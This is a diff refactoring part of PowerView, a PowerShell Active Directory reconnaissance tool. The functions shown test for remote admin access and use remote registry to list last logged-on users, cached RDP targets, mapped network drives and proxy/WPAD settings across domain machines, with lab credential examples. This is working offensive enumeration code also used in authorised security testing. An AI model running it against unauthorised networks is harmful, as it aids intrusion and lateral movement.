- Write-Verbose "Invoke-CheckLocalAdminAccess handle: $Handle"
+ PROCESS {
+ ForEach ($Computer in $ComputerName) {
+ # 0xF003F - SC_MANAGER_ALL_ACCESS
+ # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx
+ $Handle = $Advapi32::OpenSCManagerW("\\$Computer", 'ServicesActive', 0xF003F);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
- $IsAdmin = New-Object PSObject
- $IsAdmin | Add-Member Noteproperty 'ComputerName' $Computer
+ $IsAdmin = New-Object PSObject
+ $IsAdmin | Add-Member Noteproperty 'ComputerName' $Computer
- # if we get a non-zero handle back, everything was successful
- if ($Handle -ne 0) {
- $Null = $Advapi32::CloseServiceHandle($Handle)
- $IsAdmin | Add-Member Noteproperty 'IsAdmin' $True
- }
- else {
- Write-Verbose "Error: $(([ComponentModel.Win32Exception] $LastError).Message)"
- $IsAdmin | Add-Member Noteproperty 'IsAdmin' $False
+ # if we get a non-zero handle back, everything was successful
+ if ($Handle -ne 0) {
+ $Null = $Advapi32::CloseServiceHandle($Handle)
+ $IsAdmin | Add-Member Noteproperty 'IsAdmin' $True
+ }
+ else {
+ Write-Verbose "[Test-AdminAccess] Error: $(([ComponentModel.Win32Exception] $LastError).Message)"
+ $IsAdmin | Add-Member Noteproperty 'IsAdmin' $False
+ }
+ $IsAdmin.PSObject.TypeNames.Insert(0, 'PowerView.AdminAccess')
+ $IsAdmin
+ }
}
- $IsAdmin
+ END {
+ if ($LogonToken) {
+ Invoke-RevertToSelf -TokenHandle $LogonToken
+ }
+ }
}
-filter Get-SiteName {
+function Get-NetComputerSiteName {
<#
- .SYNOPSIS
+.SYNOPSIS
+
+Returns the AD site where the local (or a remote) machine resides.
- This function will use the DsGetSiteName Win32API call to look up the
- name of the site where a specified computer resides.
+Author: Will Schroeder (@harmj0y)
+License: BSD 3-Clause
+Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf
- .PARAMETER ComputerName
+.DESCRIPTION
- The hostname to look the site up for, default to localhost.
+This function will use the DsGetSiteName Win32API call to look up the
+name of the site where a specified computer resides.
- .EXAMPLE
+.PARAMETER ComputerName
- PS C:\> Get-SiteName -ComputerName WINDOWS1
+Specifies the hostname to check the site for (also accepts IP addresses).
+Defaults to 'localhost'.
- Returns the site for WINDOWS1.testlab.local.
+.PARAMETER Credential
- .EXAMPLE
+A [Management.Automation.PSCredential] object of alternate credentials
+for connection to the remote system using Invoke-UserImpersonation.
- PS C:\> Get-NetComputer | Get-SiteName
+.EXAMPLE
- Returns the sites for every machine in AD.
+Get-NetComputerSiteName -ComputerName WINDOWS1.testlab.local
+
+Returns the site for WINDOWS1.testlab.local.
+
+.EXAMPLE
+
+Get-DomainComputer | Get-NetComputerSiteName
+
+Returns the sites for every machine in AD.
+
+.EXAMPLE
+
+$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
+$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
+Get-NetComputerSiteName -ComputerName WINDOWS1.testlab.local -Credential $Cred
+
+.OUTPUTS
+
+PowerView.ComputerSite
+
+A PSCustomObject containing the ComputerName, IPAddress, and associated Site name.
#>
+
+ [OutputType('PowerView.ComputerSite')]
[CmdletBinding()]
- param(
- [Parameter(ValueFromPipeline=$True)]
- [Alias('HostName')]
- [Object[]]
+ Param(
+ [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
+ [Alias('HostName', 'dnshostname', 'name')]
[ValidateNotNullOrEmpty()]
- $ComputerName = $Env:ComputerName
- )
+ [String[]]
+ $ComputerName = 'localhost',
- # extract the computer name from whatever object was passed on the pipeline
- $Computer = $ComputerName | Get-NameField
+ [Management.Automation.PSCredential]
+ [Management.Automation.CredentialAttribute()]
+ $Credential = [Management.Automation.PSCredential]::Empty
+ )
- # if we get an IP address, try to resolve the IP to a hostname
- if($Computer -match '^(?:[0-9]{1,3}\.){3}[0-9]{1,3}$') {
- $IPAddress = $Computer
- $Computer = [System.Net.Dns]::GetHostByAddress($Computer)
- }
- else {
- $IPAddress = @(Get-IPAddress -ComputerName $Computer)[0].IPAddress
+ BEGIN {
+ if ($PSBoundParameters['Credential']) {
+ $LogonToken = Invoke-UserImpersonation -Credential $Credential
+ }
}
- $PtrInfo = [IntPtr]::Zero
+ PROCESS {
+ ForEach ($Computer in $ComputerName) {
+ # if we get an IP address, try to resolve the IP to a hostname
+ if ($Computer -match '^(?:[0-9]{1,3}\.){3}[0-9]{1,3}$') {
+ $IPAddress = $Computer
+ $Computer = [System.Net.Dns]::GetHostByAddress($Computer) | Select-Object -ExpandProperty HostName
+ }
+ else {
+ $IPAddress = @(Resolve-IPAddress -ComputerName $Computer)[0].IPAddress
+ }
+
+ $PtrInfo = [IntPtr]::Zero
- $Result = $Netapi32::DsGetSiteName($Computer, [ref]$PtrInfo)
+ $Result = $Netapi32::DsGetSiteName($Computer, [ref]$PtrInfo)
- $ComputerSite = New-Object PSObject
- $ComputerSite | Add-Member Noteproperty 'ComputerName' $Computer
- $ComputerSite | Add-Member Noteproperty 'IPAddress' $IPAddress
+ $ComputerSite = New-Object PSObject
+ $ComputerSite | Add-Member Noteproperty 'ComputerName' $Computer
+ $ComputerSite | Add-Member Noteproperty 'IPAddress' $IPAddress
- if ($Result -eq 0) {
- $Sitename = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($PtrInfo)
- $ComputerSite | Add-Member Noteproperty 'SiteName' $Sitename
- }
- else {
- $ErrorMessage = "Error: $(([ComponentModel.Win32Exception] $Result).Message)"
- $ComputerSite | Add-Member Noteproperty 'SiteName' $ErrorMessage
- }
+ if ($Result -eq 0) {
+ $Sitename = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($PtrInfo)
+ $ComputerSite | Add-Member Noteproperty 'SiteName' $Sitename
+ }
+ else {
+ Write-Verbose "[Get-NetComputerSiteName] Error: $(([ComponentModel.Win32Exception] $Result).Message)"
+ $ComputerSite | Add-Member Noteproperty 'SiteName' ''
+ }
+ $ComputerSite.PSObject.TypeNames.Insert(0, 'PowerView.ComputerSite')
- $Null = $Netapi32::NetApiBufferFree($PtrInfo)
+ # free up the result buffer
+ $Null = $Netapi32::NetApiBufferFree($PtrInfo)
- $ComputerSite
+ $ComputerSite
+ }
+ }
+
+ END {
+ if ($LogonToken) {
+ Invoke-RevertToSelf -TokenHandle $LogonToken
+ }
+ }
}
-filter Get-LastLoggedOn {
+function Get-WMIRegProxy {
<#
- .SYNOPSIS
+.SYNOPSIS
+
+Enumerates the proxy server and WPAD conents for the current user.
+
+Author: Will Schroeder (@harmj0y)
+License: BSD 3-Clause
+Required Dependencies: None
+
+.DESCRIPTION
+
+Enumerates the proxy server and WPAD specification for the current user
+on the local machine (default), or a machine specified with -ComputerName.
+It does this by enumerating settings from
+HKU:SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings.
+
+.PARAMETER ComputerName
+
+Specifies the system to enumerate proxy settings on. Defaults to the local host.
- This function uses remote registry functionality to return
- the last user logged onto a target machine.
+.PARAMETER Credential
- Note: This function requires administrative rights on the
- machine you're enumerating.
+A [Management.Automation.PSCredential] object of alternate credentials
+for connecting to the remote system.
- .PARAMETER ComputerName
+.EXAMPLE
- The hostname to query for the last logged on user.
- Defaults to the localhost.
+Get-WMIRegProxy
- .PARAMETER Credential
+ComputerName ProxyServer AutoConfigURL Wpad
+------------ ----------- ------------- ----
+WINDOWS1 http://primary.test...
- A [Management.Automation.PSCredential] object for the remote connection.
+.EXAMPLE
- .EXAMPLE
+$Cred = Get-Credential "TESTLAB\administrator"
+Get-WMIRegProxy -Credential $Cred -ComputerName primary.testlab.local
- PS C:\> Get-LastLoggedOn
+ComputerName ProxyServer AutoConfigURL Wpad
+------------ ----------- ------------- ----
+windows1.testlab.local primary.testlab.local
- Returns the last user logged onto the local machine.
+.INPUTS
- .EXAMPLE
-
- PS C:\> Get-LastLoggedOn -ComputerName WINDOWS1
+String
- Returns the last user logged onto WINDOWS1
+Accepts one or more computer name specification strings on the pipeline (netbios or FQDN).
- .EXAMPLE
-
- PS C:\> Get-NetComputer | Get-LastLoggedOn
+.OUTPUTS
- Returns the last user logged onto all machines in the domain.
+PowerView.ProxySettings
+
+Outputs custom PSObjects with the ComputerName, ProxyServer, AutoConfigURL, and WPAD contents.
#>
+ [OutputType('PowerView.ProxySettings')]
[CmdletBinding()]
- param(
- [Parameter(ValueFromPipeline=$True)]
- [Alias('HostName')]
- [Object[]]
+ Param(
+ [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
+ [Alias('HostName', 'dnshostname', 'name')]
[ValidateNotNullOrEmpty()]
- $ComputerName = 'localhost',
+ [String[]]
+ $ComputerName = $Env:COMPUTERNAME,
[Management.Automation.PSCredential]
- $Credential
+ [Management.Automation.CredentialAttribute()]
+ $Credential = [Management.Automation.PSCredential]::Empty
)
- # extract the computer name from whatever object was passed on the pipeline
- $Computer = $ComputerName | Get-NameField
+ PROCESS {
+ ForEach ($Computer in $ComputerName) {
+ try {
+ $WmiArguments = @{
+ 'List' = $True
+ 'Class' = 'StdRegProv'
+ 'Namespace' = 'root\default'
+ 'Computername' = $Computer
+ 'ErrorAction' = 'Stop'
+ }
+ if ($PSBoundParameters['Credential']) { $WmiArguments['Credential'] = $Credential }
- # HKEY_LOCAL_MACHINE
- $HKLM = 2147483650
+ $RegProvider = Get-WmiObject @WmiArguments
+ $Key = 'SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings'
- # try to open up the remote registry key to grab the last logged on user
- try {
+ # HKEY_CURRENT_USER
+ $HKCU = 2147483649
+ $ProxyServer = $RegProvider.GetStringValue($HKCU, $Key, 'ProxyServer').sValue
+ $AutoConfigURL = $RegProvider.GetStringValue($HKCU, $Key, 'AutoConfigURL').sValue
- if($Credential) {
- $Reg = Get-WmiObject -List 'StdRegProv' -Namespace root\default -Computername $Computer -Credential $Credential -ErrorAction SilentlyContinue
- }
- else {
- $Reg = Get-WmiObject -List 'StdRegProv' -Namespace root\default -Computername $Computer -ErrorAction SilentlyContinue
- }
-
- $Key = "SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\LogonUI"
- $Value = "LastLoggedOnUser"
- $LastUser = $Reg.GetStringValue($HKLM, $Key, $Value).sValue
+ $Wpad = ''
+ if ($AutoConfigURL -and ($AutoConfigURL -ne '')) {
+ try {
+ $Wpad = (New-Object Net.WebClient).DownloadString($AutoConfigURL)
+ }
+ catch {
+ Write-Warning "[Get-WMIRegProxy] Error connecting to AutoConfigURL : $AutoConfigURL"
+ }
+ }
- $LastLoggedOn = New-Object PSObject
- $LastLoggedOn | Add-Member Noteproperty 'ComputerName' $Computer
- $LastLoggedOn | Add-Member Noteproperty 'LastLoggedOn' $LastUser
- $LastLoggedOn
- }
- catch {
- Write-Warning "[!] Error opening remote registry on $Computer. Remote registry likely not enabled."
+ if ($ProxyServer -or $AutoConfigUrl) {
+ $Out = New-Object PSObject
+ $Out | Add-Member Noteproperty 'ComputerName' $Computer
+ $Out | Add-Member Noteproperty 'ProxyServer' $ProxyServer
+ $Out | Add-Member Noteproperty 'AutoConfigURL' $AutoConfigURL
+ $Out | Add-Member Noteproperty 'Wpad' $Wpad
+ $Out.PSObject.TypeNames.Insert(0, 'PowerView.ProxySettings')
+ $Out
+ }
+ else {
+ Write-Warning "[Get-WMIRegProxy] No proxy settings found for $ComputerName"
+ }
+ }
+ catch {
+ Write-Warning "[Get-WMIRegProxy] Error enumerating proxy settings for $ComputerName : $_"
+ }
+ }
}
}
-filter Get-CachedRDPConnection {
+function Get-WMIRegLastLoggedOn {
<#
- .SYNOPSIS
+.SYNOPSIS
+
+Returns the last user who logged onto the local (or a remote) machine.
+
+Note: This function requires administrative rights on the machine you're enumerating.
- Uses remote registry functionality to query all entries for the
- "Windows Remote Desktop Connection Client" on a machine, separated by
- user and target server.
+Author: Will Schroeder (@harmj0y)
+License: BSD 3-Clause
+Required Dependencies: None
- Note: This function requires administrative rights on the
- machine you're enumerating.
+.DESCRIPTION
- .PARAMETER ComputerName
+This function uses remote registry to enumerate the LastLoggedOnUser registry key
+for the local (or remote) machine.
- The hostname to query for RDP client information.
- Defaults to localhost.
+.PARAMETER ComputerName
- .PARAMETER Credential
+Specifies the hostname to query for remote registry values (also accepts IP addresses).
+Defaults to 'localhost'.
- A [Management.Automation.PSCredential] object for the remote connection.
+.PARAMETER Credential
- .EXAMPLE
+A [Management.Automation.PSCredential] object of alternate credentials
+for connecting to the remote system.
- PS C:\> Get-CachedRDPConnection
+.EXAMPLE
- Returns the RDP connection client information for the local machine.
+Get-WMIRegLastLoggedOn
- .EXAMPLE
+Returns the last user logged onto the local machine.
- PS C:\> Get-CachedRDPConnection -ComputerName WINDOWS2.testlab.local
+.EXAMPLE
- Returns the RDP connection client information for the WINDOWS2.testlab.local machine
+Get-WMIRegLastLoggedOn -ComputerName WINDOWS1
- .EXAMPLE
+Returns the last user logged onto WINDOWS1
- PS C:\> Get-CachedRDPConnection -ComputerName WINDOWS2.testlab.local -Credential $Cred
+.EXAMPLE
- Returns the RDP connection client information for the WINDOWS2.testlab.local machine using alternate credentials.
+Get-DomainComputer | Get-WMIRegLastLoggedOn
- .EXAMPLE
+Returns the last user logged onto all machines in the domain.
- PS C:\> Get-NetComputer | Get-CachedRDPConnection
+.EXAMPLE
- Get cached RDP information for all machines in the domain.
+$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
+$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
+Get-WMIRegLastLoggedOn -ComputerName PRIMARY.testlab.local -Credential $Cred
+
+.OUTPUTS
+
+PowerView.LastLoggedOnUser
+
+A PSCustomObject containing the ComputerName and last loggedon user.
#>
+ [OutputType('PowerView.LastLoggedOnUser')]
[CmdletBinding()]
- param(
- [Parameter(ValueFromPipeline=$True)]
- [Alias('HostName')]
- [Object[]]
+ Param(
+ [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
+ [Alias('HostName', 'dnshostname', 'name')]
[ValidateNotNullOrEmpty()]
+ [String[]]
$ComputerName = 'localhost',
[Management.Automation.PSCredential]
- $Credential
+ [Management.Automation.CredentialAttribute()]
+ $Credential = [Management.Automation.PSCredential]::Empty
)
- # extract the computer name from whatever object was passed on the pipeline
- $Computer = $ComputerName | Get-NameField
+ PROCESS {
+ ForEach ($Computer in $ComputerName) {
+ # HKEY_LOCAL_MACHINE
+ $HKLM = 2147483650
- # HKEY_USERS
- $HKU = 2147483651
+ $WmiArguments = @{
+ 'List' = $True
+ 'Class' = 'StdRegProv'
+ 'Namespace' = 'root\default'
+ 'Computername' = $Computer
+ 'ErrorAction' = 'SilentlyContinue'
+ }
+ if ($PSBoundParameters['Credential']) { $WmiArguments['Credential'] = $Credential }
- try {
- if($Credential) {
- $Reg = Get-WmiObject -List 'StdRegProv' -Namespace root\default -Computername $Computer -Credential $Credential -ErrorAction SilentlyContinue
- }
- else {
- $Reg = Get-WmiObject -List 'StdRegProv' -Namespace root\default -Computername $Computer -ErrorAction SilentlyContinue
+ # try to open up the remote registry key to grab the last logged on user
+ try {
+ $Reg = Get-WmiObject @WmiArguments
+
+ $Key = 'SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\LogonUI'
+ $Value = 'LastLoggedOnUser'
+ $LastUser = $Reg.GetStringValue($HKLM, $Key, $Value).sValue
+
+ $LastLoggedOn = New-Object PSObject
+ $LastLoggedOn | Add-Member Noteproperty 'ComputerName' $Computer
+ $LastLoggedOn | Add-Member Noteproperty 'LastLoggedOn' $LastUser
+ $LastLoggedOn.PSObject.TypeNames.Insert(0, 'PowerView.LastLoggedOnUser')
+ $LastLoggedOn
+ }
+ catch {
+ Write-Warning "[Get-WMIRegLastLoggedOn] Error opening remote registry on $Computer. Remote registry likely not enabled."
+ }
}
+ }
+}
+
+
+function Get-WMIRegCachedRDPConnection {
+<#
+.SYNOPSIS
+
+Returns information about RDP connections outgoing from the local (or remote) machine.
+
+Note: This function requires administrative rights on the machine you're enumerating.
+
+Author: Will Schroeder (@harmj0y)
+License: BSD 3-Clause
+Required Dependencies: ConvertFrom-SID
+
+.DESCRIPTION
+
+Uses remote registry functionality to query all entries for the
+"Windows Remote Desktop Connection Client" on a machine, separated by
+user and target server.
+
+.PARAMETER ComputerName
+
+Specifies the hostname to query for cached RDP connections (also accepts IP addresses).
+Defaults to 'localhost'.
+
+.PARAMETER Credential
- # extract out the SIDs of domain users in this hive
- $UserSIDs = ($Reg.EnumKey($HKU, "")).sNames | ? { $_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' }
+A [Management.Automation.PSCredential] object of alternate credentials
+for connecting to the remote system.
- foreach ($UserSID in $UserSIDs) {
+.EXAMPLE
+
+Get-WMIRegCachedRDPConnection
+
+Returns the RDP connection client information for the local machine.
+
+.EXAMPLE
+
+Get-WMIRegCachedRDPConnection -ComputerName WINDOWS2.testlab.local
+
+Returns the RDP connection client information for the WINDOWS2.testlab.local machine
+
+.EXAMPLE
+
+Get-DomainComputer | Get-WMIRegCachedRDPConnection
+
+Returns cached RDP information for all machines in the domain.
+
+.EXAMPLE
+
+$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
+$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
+Get-WMIRegCachedRDPConnection -ComputerName PRIMARY.testlab.local -Credential $Cred
+
+.OUTPUTS
+
+PowerView.CachedRDPConnection
+
+A PSCustomObject containing the ComputerName and cached RDP information.
+#>
+
+ [OutputType('PowerView.CachedRDPConnection')]
+ [CmdletBinding()]
+ Param(
+ [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
+ [Alias('HostName', 'dnshostname', 'name')]
+ [ValidateNotNullOrEmpty()]
+ [String[]]
+ $ComputerName = 'localhost',
+
+ [Management.Automation.PSCredential]
+ [Management.Automation.CredentialAttribute()]
+ $Credential = [Management.Automation.PSCredential]::Empty
+ )
+
+ PROCESS {
+ ForEach ($Computer in $ComputerName) {
+ # HKEY_USERS
+ $HKU = 2147483651
+
+ $WmiArguments = @{
+ 'List' = $True
+ 'Class' = 'StdRegProv'
+ 'Namespace' = 'root\default'
+ 'Computername' = $Computer
+ 'ErrorAction' = 'Stop'
+ }
+ if ($PSBoundParameters['Credential']) { $WmiArguments['Credential'] = $Credential }
try {
- $UserName = Convert-SidToName $UserSID
+ $Reg = Get-WmiObject @WmiArguments
- # pull out all the cached RDP connections
- $ConnectionKeys = $Reg.EnumValues($HKU,"$UserSID\Software\Microsoft\Terminal Server Client\Default").sNames
+ # extract out the SIDs of domain users in this hive
+ $UserSIDs = ($Reg.EnumKey($HKU, '')).sNames | Where-Object { $_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' }
- foreach ($Connection in $ConnectionKeys) {
- # make sure this key is a cached connection
- if($Connection -match 'MRU.*') {
- $TargetServer = $Reg.GetStringValue($HKU, "$UserSID\Software\Microsoft\Terminal Server Client\Default", $Connection).sValue
-
- $FoundConnection = New-Object PSObject
- $FoundConnection | Add-Member Noteproperty 'ComputerName' $Computer
- $FoundConnection | Add-Member Noteproperty 'UserName' $UserName
- $FoundConnection | Add-Member Noteproperty 'UserSID' $UserSID
- $FoundConnection | Add-Member Noteproperty 'TargetServer' $TargetServer
- $FoundConnection | Add-Member Noteproperty 'UsernameHint' $Null
- $FoundConnection
- }
- }
+ ForEach ($UserSID in $UserSIDs) {
+ try {
+ if ($PSBoundParameters['Credential']) {
+ $UserName = ConvertFrom-SID -ObjectSid $UserSID -Credential $Credential
+ }
+ else {
+ $UserName = ConvertFrom-SID -ObjectSid $UserSID
+ }
- # pull out all the cached server info with username hints
- $ServerKeys = $Reg.EnumKey($HKU,"$UserSID\Software\Microsoft\Terminal Server Client\Servers").sNames
+ # pull out all the cached RDP connections
+ $ConnectionKeys = $Reg.EnumValues($HKU,"$UserSID\Software\Microsoft\Terminal Server Client\Default").sNames
+
+ ForEach ($Connection in $ConnectionKeys) {
+ # make sure this key is a cached connection
+ if ($Connection -match 'MRU.*') {
+ $TargetServer = $Reg.GetStringValue($HKU, "$UserSID\Software\Microsoft\Terminal Server Client\Default", $Connection).sValue
+
+ $FoundConnection = New-Object PSObject
+ $FoundConnection | Add-Member Noteproperty 'ComputerName' $Computer
+ $FoundConnection | Add-Member Noteproperty 'UserName' $UserName
+ $FoundConnection | Add-Member Noteproperty 'UserSID' $UserSID
+ $FoundConnection | Add-Member Noteproperty 'TargetServer' $TargetServer
+ $FoundConnection | Add-Member Noteproperty 'UsernameHint' $Null
+ $FoundConnection.PSObject.TypeNames.Insert(0, 'PowerView.CachedRDPConnection')
+ $FoundConnection
+ }
+ }
- foreach ($Server in $ServerKeys) {
+ # pull out all the cached server info with username hints
+ $ServerKeys = $Reg.EnumKey($HKU,"$UserSID\Software\Microsoft\Terminal Server Client\Servers").sNames
- $UsernameHint = $Reg.GetStringValue($HKU, "$UserSID\Software\Microsoft\Terminal Server Client\Servers\$Server", 'UsernameHint').sValue
-
- $FoundConnection = New-Object PSObject
- $FoundConnection | Add-Member Noteproperty 'ComputerName' $Computer
- $FoundConnection | Add-Member Noteproperty 'UserName' $UserName
- $FoundConnection | Add-Member Noteproperty 'UserSID' $UserSID
- $FoundConnection | Add-Member Noteproperty 'TargetServer' $Server
- $FoundConnection | Add-Member Noteproperty 'UsernameHint' $UsernameHint
- $FoundConnection
- }
+ ForEach ($Server in $ServerKeys) {
+
+ $UsernameHint = $Reg.GetStringValue($HKU, "$UserSID\Software\Microsoft\Terminal Server Client\Servers\$Server", 'UsernameHint').sValue
+ $FoundConnection = New-Object PSObject
+ $FoundConnection | Add-Member Noteproperty 'ComputerName' $Computer
+ $FoundConnection | Add-Member Noteproperty 'UserName' $UserName
+ $FoundConnection | Add-Member Noteproperty 'UserSID' $UserSID
+ $FoundConnection | Add-Member Noteproperty 'TargetServer' $Server
+ $FoundConnection | Add-Member Noteproperty 'UsernameHint' $UsernameHint
+ $FoundConnection.PSObject.TypeNames.Insert(0, 'PowerView.CachedRDPConnection')
+ $FoundConnection
+ }
+ }
+ catch {
+ Write-Verbose "[Get-WMIRegCachedRDPConnection] Error: $_"
+ }
+ }
}
catch {
- Write-Verbose "Error: $_"
+ Write-Warning "[Get-WMIRegCachedRDPConnection] Error accessing $Computer, likely insufficient permissions or firewall rules on host: $_"
}
}
-
- }
- catch {
- Write-Warning "Error accessing $Computer, likely insufficient permissions or firewall rules on host: $_"
}
}
-filter Get-RegistryMountedDrive {
+function Get-WMIRegMountedDrive {
<#
- .SYNOPSIS
+.SYNOPSIS
+
+Returns information about saved network mounted drives for the local (or remote) machine.
+
+Note: This function requires administrative rights on the machine you're enumerating.
+
+Author: Will Schroeder (@harmj0y)
+License: BSD 3-Clause
+Required Dependencies: ConvertFrom-SID
- Uses remote registry functionality to query all entries for the
- the saved network mounted drive on a machine, separated by
- user and target server.
+.DESCRIPTION
- Note: This function requires administrative rights on the
- machine you're enumerating.
+Uses remote registry functionality to enumerate recently mounted network drives.
- .PARAMETER ComputerName
+.PARAMETER ComputerName
- The hostname to query for RDP client information.
- Defaults to localhost.
+Specifies the hostname to query for mounted drive information (also accepts IP addresses).
+Defaults to 'localhost'.
- .PARAMETER Credential
+.PARAMETER Credential
- A [Management.Automation.PSCredential] object for the remote connection.
+A [Management.Automation.PSCredential] object of alternate credentials
+for connecting to the remote system.
- .EXAMPLE
+.EXAMPLE
- PS C:\> Get-RegistryMountedDrive
+Get-WMIRegMountedDrive
- Returns the saved network mounted drives for the local machine.
+Returns the saved network mounted drives for the local machine.
- .EXAMPLE
+.EXAMPLE
- PS C:\> Get-RegistryMountedDrive -ComputerName WINDOWS2.testlab.local
+Get-WMIRegMountedDrive -ComputerName WINDOWS2.testlab.local
- Returns the saved network mounted drives for the WINDOWS2.testlab.local machine
+Returns the saved network mounted drives for the WINDOWS2.testlab.local machine
- .EXAMPLE
+.EXAMPLE
- PS C:\> Get-RegistryMountedDrive -ComputerName WINDOWS2.testlab.local -Credential $Cred
+Get-DomainComputer | Get-WMIRegMountedDrive
- Returns the saved network mounted drives for the WINDOWS2.testlab.local machine using alternate credentials.
+Returns the saved network mounted drives for all machines in the domain.
- .EXAMPLE
+.EXAMPLE
- PS C:\> Get-NetComputer | Get-RegistryMountedDrive
+$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
+$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
+Get-WMIRegMountedDrive -ComputerName PRIMARY.testlab.local -Credential $Cred
- Get the saved network mounted drives for all machines in the domain.
+.OUTPUTS
+
+PowerView.RegMountedDrive
+
+A PSCustomObject containing the ComputerName and mounted drive information.
#>
+ [OutputType('PowerView.RegMountedDrive')]
[CmdletBinding()]
- param(
- [Parameter(ValueFromPipeline=$True)]
- [Alias('HostName')]
- [Object[]]
+ Param(
+ [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
+ [Alias('HostName', 'dnshostname', 'name')]
[ValidateNotNullOrEmpty()]
+ [String[]]
$ComputerName = 'localhost',
[Management.Automation.PSCredential]
- $Credential
+ [Management.Automation.CredentialAttribute()]
+ $Credential = [Management.Automation.PSCredential]::Empty
)
- # extract the computer name from whatever object was passed on the pipeline
- $Computer = $ComputerName | Get-NameField
-
- # HKEY_USERS
- $HKU = 2147483651
-
- try {
- if($Credential) {
- $Reg = Get-WmiObject -List 'StdRegProv' -Namespace root\default -Computername $Computer -Credential $Credential -ErrorAction SilentlyContinue
- }
- else {
- $Reg = Get-WmiObject -List 'StdRegProv' -Namespace root\default -Computername $Computer -ErrorAction SilentlyContinue
- }
-
- # extract out the SIDs of domain users in this hive
- $UserSIDs = ($Reg.EnumKey($HKU, "")).sNames | ? { $_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' }
+ PROCESS {
+ ForEach ($Computer in $ComputerName) {
+ # HKEY_USERS
+ $HKU = 2147483651
- foreach ($UserSID in $UserSIDs) {
+ $WmiArguments = @{
+ 'List' = $True
+ 'Class' = 'StdRegProv'
+ 'Namespace' = 'root\default'
+ 'Computername' = $Computer
+ 'ErrorAction' = 'Stop'
+ }
+ if ($PSBoundParameters['Credential']) { $WmiArguments['Credential'] = $Credential }
try {
- $UserName = Convert-SidToName $UserSID
+ $Reg = Get-WmiObject @WmiArguments
- $DriveLetters = ($Reg.EnumKey($HKU, "$UserSID\Network")).sNames
+ # extract out the SIDs of domain users in this hive
+ $UserSIDs = ($Reg.EnumKey($HKU, '')).sNames | Where-Object { $_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' }
- ForEach($DriveLetter in $DriveLetters) {
- $ProviderName = $Reg.GetStringValue($HKU, "$UserSID\Network\$DriveLetter", 'ProviderName').sValue
- $RemotePath = $Reg.GetStringValue($HKU, "$UserSID\Network\$DriveLetter", 'RemotePath').sValue
- $DriveUserName = $Reg.GetStringValue($HKU, "$UserSID\Network\$DriveLetter", 'UserName').sValue
- if(-not $UserName) { $UserName = '' }
+ ForEach ($UserSID in $UserSIDs) {
+ try {
+ if ($PSBoundParameters['Credential']) {
+ $UserName = ConvertFrom-SID -ObjectSid $UserSID -Credential $Credential
+ }
+ else {
+ $UserName = ConvertFrom-SID -ObjectSid $UserSID
+ }
- if($RemotePath -and ($RemotePath -ne '')) {
- $MountedDrive = New-Object PSObject
- $MountedDrive | Add-Member Noteproperty 'ComputerName' $Computer
- $MountedDrive | Add-Member Noteproperty 'UserName' $UserName
- $MountedDrive | Add-Member Noteproperty 'UserSID' $UserSID
- $MountedDrive | Add-Member Noteproperty 'DriveLetter' $DriveLetter
- $MountedDrive | Add-Member Noteproperty 'ProviderName' $ProviderName
- $MountedDrive | Add-Member Noteproperty 'RemotePath' $RemotePath
- $MountedDrive | Add-Member Noteproperty 'DriveUserName' $DriveUserName
- $MountedDrive
+ $DriveLetters = ($Reg.EnumKey($HKU, "$UserSID\Network")).sNames
+
+ ForEach ($DriveLetter in $DriveLetters) {
+ $ProviderName = $Reg.GetStringValue($HKU, "$UserSID\Network\$DriveLetter", 'ProviderName').sValue
+ $RemotePath = $Reg.GetStringValue($HKU, "$UserSID\Network\$DriveLetter", 'RemotePath').sValue
+ $DriveUserName = $Reg.GetStringValue($HKU, "$UserSID\Network\$DriveLetter", 'UserName').sValue
+ if (-not $UserName) { $UserName = '' }
+
+ if ($RemotePath -and ($RemotePath -ne '')) {
+ $MountedDrive = New-Object PSObject
+ $MountedDrive | Add-Member Noteproperty 'ComputerName' $Computer
+ $MountedDrive | Add-Member Noteproperty 'UserName' $UserName
+ $MountedDrive | Add-Member Noteproperty 'UserSID' $UserSID
+ $MountedDrive | Add-Member Noteproperty 'DriveLetter' $DriveLetter
+ $MountedDrive | Add-Member Noteproperty 'ProviderName' $ProviderName
+ $MountedDrive | Add-Member Noteproperty 'RemotePath' $RemotePath
+ $MountedDrive | Add-Member Noteproperty 'DriveUserName' $DriveUserName
+ $MountedDrive.PSObject.TypeNames.Insert(0, 'PowerView.RegMountedDrive')
+ $MountedDrive
+ }
+ }
+ }
+ catch {
+ Write-Verbose "[Get-WMIRegMountedDrive] Error: $_"
}
}
}
catch {
- Write-Verbose "Error: $_"
+ Write-Warning "[Get-WMIRegMountedDrive] Error accessing $Computer, likely insufficient permissions or firewall rules on host: $_"
}
}
}
- catch {
- Write-Warning "Error accessing $Computer, likely insufficient permissions or firewall rules on host: $_"
- }
}
